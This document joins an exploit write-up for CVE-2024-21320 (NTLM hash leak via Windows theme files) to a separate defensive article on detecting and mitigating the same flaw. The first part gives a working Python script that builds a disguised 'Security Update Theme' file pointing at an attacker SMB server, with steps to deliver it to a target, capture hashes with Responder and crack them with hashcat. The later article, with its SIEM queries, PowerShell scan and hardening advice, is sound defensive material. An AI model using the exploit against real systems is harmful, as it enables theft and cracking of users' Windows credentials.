Microsoft Windows - NTLM Hash Leak Malicious Windows Theme
# Exploit Title: CVE-2024-21320 - NTLM Hash Leak via Malicious Windows Theme
# Date: 02/03/2025
# Exploit Author: Abinesh Kamal K U
# CVE : CVE-2024-21320
# Ref: https://www.cve.org/CVERecord?id=CVE-2024-21320
## Step 1: Install Responder
Responder is a tool to capture NTLM hashes over SMB.
git clone https://github.com/lgandx/Responder.git
cd Responder
Replace `eth0` with your network interface.
## Step 2: Create a Malicious Windows Theme File
### Python Script to Generate the Malicious `.theme` File
import os
# Attacker-controlled SMB server IP
attacker_smb_server = "192.168.1.100" # Change this to your attacker's IP
# Name of the malicious theme file
theme_filename = "malicious.theme"
# Malicious .theme file content
theme_content = f"""
[Theme]
DisplayName=Security Update Theme
[Control Panel\Desktop]
Wallpaper=\\\\{attacker_smb_server}\\share\\malicious.jpg
[VisualStyles]
Path=%SystemRoot%\\resources\\Themes\\Aero\\Aero.msstyles
ColorStyle=NormalColor
Size=NormalSize
"""
# Write the theme file
with open(theme_filename, "w") as theme_file:
theme_file.write(theme_content)
print(f"[+] Malicious theme file '{theme_filename}' created.")
# Optional: Start a Python HTTP server to serve the malicious theme file
start_http = input("Start HTTP server to deliver theme file? (y/n):
").strip().lower()
if start_http == "y":
print("[+] Starting HTTP server on port 8080...")
os.system("python3 -m http.server 8080")
```
## Step 3: Deliver & Capture NTLM Hashes
1. Send the `malicious.theme` file to the target.
2. Run Responder to capture the NTLM hash:
sudo python3 Responder.py -I eth0
3. Wait for the victim to open the `.theme` file.
4. Extract NTLM hash from Responder logs and crack it using hashcat:
hashcat -m 5600 captured_hashes.txt rockyou.txt
--
Abinesh Kamal K U
abineshjerry.info
MTech - Cyber Security Systems & Networks
Amrita University CVE-2024-21320 — NTLM Hash Leak via Malicious Windows Theme: What defenders need to know
This article provides a defensive, practitioner-focused explanation of CVE-2024-21320 — an issue where Windows theme files (.theme) can cause a host to authenticate to remote SMB resources, potentially leaking NTLM authentication material. The goal is to explain the underlying mechanics at a high level, show how to detect and investigate abuse, and recommend mitigations and hardening steps you can apply in enterprise environments. This article intentionally avoids instructions or code that would enable exploitation.
Executive summary
- CVE-2024-21320 allows crafted .theme files to cause a Windows host to fetch resources (for example, wallpaper) from attacker-controlled SMB endpoints, which can trigger NTLM authentication.
- An attacker that receives the resulting NTLM challenge/response material may attempt to capture or relay it to escalate access or crack offline.
- Defensive focus: patch systems, prevent hosts from initiating SMB to untrusted external addresses, monitor for unusual SMB/NTLM activity, and harden NTLM/SMB authentication settings.
How this class of issue works (high-level)
Windows theme files (.theme) can reference external resources such as wallpapers through UNC paths (\\server\share\file). When Windows parses a theme that references a network location, the OS attempts to access the resource; if the resource is hosted on an SMB share, this may trigger an SMB/NTLM authentication exchange from the endpoint to the host serving the file. If the recipient is controlled by an attacker, the attacker may record the NTLM challenge/response data and attempt offline cracking or relay attacks.
This behavior is not unique to theme files — any mechanism that causes Windows to automatically load resources from a UNC path (shortcuts, scripts, RDP redirection in some configurations, etc.) can result in similar risk.
NTLM, SMB and common abuse patterns (conceptual)
- NTLM challenge/response is an authentication protocol where a server issues a challenge and the client provides a response derived from the password hash — capturing the response can expose material that attackers may attempt to crack offline or relay.
- Tools and techniques exist in the wild that capture SMB/NTLM negotiation data; while used by defenders and pentesters for testing, they are also used by threat actors.
- Key defensive levers include preventing untrusted outbound SMB, enforcing SMB signing, and reducing NTLM usage in your environment.
Detection and Indicators of Compromise (IoCs)
Network-level indicators
- Unexpected outbound connections to TCP/445 or TCP/139 to Internet hosts or to network segments that should not host SMB servers.
- Repeated failed or suspicious SMB authentication attempts to hosts within or outside your environment.
- DNS or LLMNR/NetBIOS queries shortly before an SMB connection — e.g., name lookups for unusual names followed by SMB traffic.
Host-level indicators
- New or unexpected .theme files received from email, downloads, or removable media.
- Processes attempting to open remote URIs for images or resources (Windows Explorer, themes, personalization components).
- Authentication/logon events that indicate NTLM use to remote, non-domain hosts (may require correlated network logs).
Example SIEM/network queries (defensive)
Below are example queries you can adapt to your environment. They are provided to help detect suspicious SMB/NTLM activity — tailor time windows, indexes, and fields to your data sources.
# Splunk (example)
index=network (dest_port=445 OR dest_port=139)
| stats count by src_ip dest_ip dest_port, dest_hostname
| where dest_ip NOT IN (trusted_smb_servers)
| sort -count
Explanation: This Splunk example finds network flows to SMB ports and highlights destination IPs that are not known/trusted SMB servers. It helps surface hosts making unexpected outbound SMB connections.
# Elastic/Elasticsearch (example)
network.transport: tcp AND (network.destination.port:445 OR network.destination.port:139)
AND NOT network.destination.ip:(10.0.0.0/8 OR 192.168.0.0/16)
| stats count by source.ip, destination.ip
Explanation: A generic Elastic query that filters for SMB ports and excludes private address space (adapt as needed). Useful for spotting SMB connections to public IPs.
Host scan: find .theme files referencing UNC paths (PowerShell)
# Defensive PowerShell: scan a directory tree for .theme files that reference UNC paths
Get-ChildItem -Path C:\Users -Recurse -Filter *.theme -ErrorAction SilentlyContinue |
ForEach-Object {
$content = Get-Content -Path $_.FullName -ErrorAction SilentlyContinue
if ($content -match "\\\\[^\s\\]+\\[^\s\\]+") {
[PSCustomObject]@{
Path = $_.FullName
Matches = ($Matches[0])
}
}
}
Explanation: This PowerShell snippet recursively searches a given path (example: C:\Users) for .theme files and checks for UNC path patterns (two leading backslashes). It lists theme files that contain references to network shares, which may warrant further investigation. Use with administrative privileges and adapt paths and scope to your environment.
Hardening and mitigations
Immediate mitigations
- Apply vendor patches: deploy Microsoft updates that address CVE-2024-21320 across endpoints and servers promptly.
- Block outbound SMB at perimeter: egress filtering that blocks TCP/445 (and 139 where applicable) to untrusted networks significantly reduces the risk of endpoint SMB auth leaks to external attackers.
- Prevent automatic retrieval of external resources in untrusted contexts: enforce mail gateway and web filtering to block or sandbox attachments that could contain .theme files or other files referencing UNC resources.
Authentication and protocol hardening
- Disable or restrict NTLM where feasible: use "Network security: Restrict NTLM" Group Policy settings to limit NTLM traffic and prefer Kerberos.
- Enforce SMB signing: enable SMB signing for servers and clients to mitigate certain relay-style attacks.
- Audit NTLM: enable detailed NTLM auditing so you can see where and when NTLM is being used and by which hosts/accounts.
Endpoint and user controls
- EDR/AV policies should flag and block unexpected execution or contextual actions that cause hosts to fetch remote themes or resources.
- Limit who can change system personalization settings via MDM or Group Policy on managed endpoints.
- User education: train users to treat unsolicited .theme files and other personalization files cautiously (similar to macros/attachments).
Incident response and forensics guidance
- Isolate suspected hosts from the network to prevent further outbound authentication to attacker infrastructure.
- Collect volatile evidence: memory, running processes, open network connections, and recent SMB sessions.
- Collect persistent artifacts: the .theme file(s), relevant user profile directories, shellbag/MFT entries, and Windows event logs (Security, System, Application, and any EDR logs).
- Review network captures (if available) for SMB negotiation details, destination endpoints, and timing correlation with user activity.
- Look for upstream delivery vectors (email, web download, remote support tools) and eliminate those paths.
Testing and validation
After applying mitigations, validate changes by:
- Simulating benign scenarios that would have caused outbound SMB in a controlled lab to verify blocking rules are effective.
- Checking audit logs for continued NTLM usage and ensuring that legitimate business processes are not adversely affected when restricting NTLM or SMB.
- Maintaining a rollback plan and staging any protocol or authentication changes in test environments before wide deployment.
Responsible disclosure and patch management
If you maintain systems or software that could be affected, coordinate with your vendor and upstream patching teams to ensure timely deployment of fixes. Keep asset inventories updated and use risk-based prioritization to patch high-exposure hosts first (e.g., endpoints with internet access, remote workers, or servers that consume user personalization files).
Further reading and monitoring
- Monitor vendor advisories for any follow-up patches or configuration guidance related to CVE-2024-21320.
- Subscribe to your threat intelligence feeds and SIEM alerts for indicators related to suspicious SMB/NTLM activity.
- Consider penetration testing or purple-team exercises to verify detection coverage for SMB/NTLM abuse scenarios in your environment (conducted in a controlled, authorized manner).
Conclusion
CVE-2024-21320 highlights how seemingly benign file types can trigger sensitive network authentication flows. The recommended defensive posture is layered: apply vendor patches quickly, restrict and monitor outbound SMB/NTLM activity, harden authentication protocols, and implement endpoint and email controls to stop delivery of potentially malicious files. Combining network-level blocking with host-based detection and user controls will greatly reduce the risk of NTLM credential exposure from this and similar vectors.